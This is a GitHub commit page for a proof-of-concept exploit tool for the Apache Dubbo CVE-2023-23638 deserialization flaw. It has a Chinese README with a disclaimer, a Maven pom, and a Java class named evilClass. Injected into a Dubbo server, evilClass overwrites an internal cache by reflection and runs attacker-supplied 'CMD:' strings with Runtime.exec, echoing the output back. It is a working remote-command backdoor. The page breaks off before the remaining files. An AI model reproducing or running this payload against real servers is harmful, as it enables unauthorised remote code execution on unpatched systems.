Skip to content

Commit

Permalink
first commit
Browse files Browse the repository at this point in the history
  • Loading branch information
yyyyhyh committed May 11, 2023
0 parents commit e445e79
Show file tree
Hide file tree
Showing 6 changed files with 581 additions and 0 deletions.
35 changes: 35 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
# Apache-Dubbo-CVE-2023-23638-exp
Apache Dubbo (CVE-2023-23638)漏洞利用的工程化实践,覆盖Dubbo 3.x 从服务发现到漏洞利用及回显的过程。本工具仅供研究和学习,欢迎各位师傅前来探讨和提出宝贵的建议。

# 工具说明

本工具支持CVE-2023-23638在Dubbo 3.x的完整利用,覆盖服务发现到漏洞利用及回显。在Dubbo 2.x版本也可以利用,需要自行传入服务名、方法名等。针对这个漏洞我写了两篇分析文章:
1. 漏洞利用:https://xz.aliyun.com/t/12396
2. 漏洞回显:https://forum.butian.net/share/2277

本工具仅作学习使用,未考虑诸多实战中的问题,例如:
1. 自定义服务名、方法名利用
2. 字节码java编译的版本问题
后续可能会继续更新。

感谢y4tacker师傅分享的fastjson原生反序列化思路

# 工具截图
1. 注入字节码

![image](https://github.com/YYHYlh/Apache-Dubbo-CVE-2023-23638-exp/assets/28374935/2cc2c6e4-9a3d-403c-ae2a-c49212e383a0)

2. 命令执行

![image](https://github.com/YYHYlh/Apache-Dubbo-CVE-2023-23638-exp/assets/28374935/3cb51d26-b129-437e-8fcb-29991c16c074)


# 免责声明
本工具仅漏洞研究和学习,如您需要测试本工具的可用性,请自行搭建靶机环境。
在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。请勿对非授权目标进行扫描。
如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。

# 参考文档

1. https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
2. https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/
24 changes: 24 additions & 0 deletions pom.xml
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>CVE-2023-23638_echo</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<dubbo.version>3.1.5</dubbo.version>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo</artifactId>
<version>${dubbo.version}</version>
</dependency>
</dependencies>

</project>
200 changes: 200 additions & 0 deletions src/main/java/evilClass.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,200 @@

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.dubbo.common.utils.PojoUtils;


import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.nio.charset.Charset;
import java.util.Collection;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.ConcurrentMap;
import java.util.function.BiConsumer;
import java.util.function.BiFunction;
import java.util.function.Function;

public class evilClass extends AbstractTranslet implements ConcurrentMap {
private HashMap m = new HashMap();
public static final String CMD_PREFIX = "CMD:";
public static final String CMD_SPLIT = "@cmdEcho@";
@Override
public Object getOrDefault(Object key, Object defaultValue) {
return m.getOrDefault(key,defaultValue);
}

@Override
public void forEach(BiConsumer action) {
m.forEach(action);
}

@Override
public void replaceAll(BiFunction function) {
m.replaceAll(function);
}

@Override
public Object putIfAbsent(Object key, Object value) {
return m.putIfAbsent(key,value);
}

@Override
public boolean remove(Object key, Object value) {
return m.remove(key,value);
}

@Override
public boolean replace(Object key, Object oldValue, Object newValue) {
return m.replace(key,oldValue,newValue);
}

@Override
public Object replace(Object key, Object value) {
return m.replace(key,value);
}

@Override
public Object computeIfAbsent(Object key, Function mappingFunction) {
return m.computeIfAbsent(key,mappingFunction);
}

@Override
public Object computeIfPresent(Object key, BiFunction remappingFunction) {
return m.computeIfPresent(key,remappingFunction);
}

@Override
public Object compute(Object key, BiFunction remappingFunction) {
return compute(key,remappingFunction);
}

@Override
public Object merge(Object key, Object value, BiFunction remappingFunction) {
return m.merge(key,value,remappingFunction);
}

@Override
public int size() {
return m.size();
}

@Override
public boolean isEmpty() {
return m.isEmpty();
}

@Override
public boolean containsKey(Object key) {
StringBuffer b = new StringBuffer();
if( key.toString().startsWith(CMD_PREFIX)) {
b.append(CMD_SPLIT);
try{
Process p = Runtime.getRuntime().exec(key.toString().substring(5).split(" "));
InputStream fis = p.getInputStream();
InputStreamReader isr;
if (key.toString().substring(4,5).equals("g")) {
isr = new InputStreamReader(fis,Charset.forName("GBK"));
}else {
isr = new InputStreamReader(fis);
}
BufferedReader br = new BufferedReader(isr);
String line = null;
while((line = br.readLine()) != null) {
b.append(line+"\n");
}
}catch (Exception e){

}
b.append(CMD_SPLIT);
throw new IllegalArgumentException(b.toString());
}
return m.containsKey(key);
}

@Override
public boolean containsValue(Object value) {
return m.containsValue(value);
}

@Override
public Object get(Object key) {

return m.get(key);
}

@Override
public Object put(Object key, Object value) {
return m.put(key,value);
}

@Override
public Object remove(Object key) {
return m.remove(key);
}

@Override
public void putAll(Map ma) {
m.putAll(m);

}

@Override
public void clear() {
m.clear();

}

@Override
public Set keySet() {
return m.keySet();
}

@Override
public Collection values() {
return m.values();
}

@Override
public Set<Entry> entrySet() {
return m.entrySet();
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

public evilClass(String a) throws Exception{

}
public evilClass() throws Exception{
try {
addClass();
}catch (Exception e){
e.printStackTrace();
}
}
public static void addClass() throws Exception{
Field mo = Field.class.getDeclaredField("modifiers");
mo.setAccessible(true);
Field field = PojoUtils.class.getDeclaredField("CLASS_NOT_FOUND_CACHE");
field.setAccessible(true);
mo.setInt(field,field.getModifiers()&~Modifier.FINAL);
field.set(null,new evilClass(""));
System.out.println("add success");
}

}
Loading

0 comments on commit e445e79

Please sign in to comment.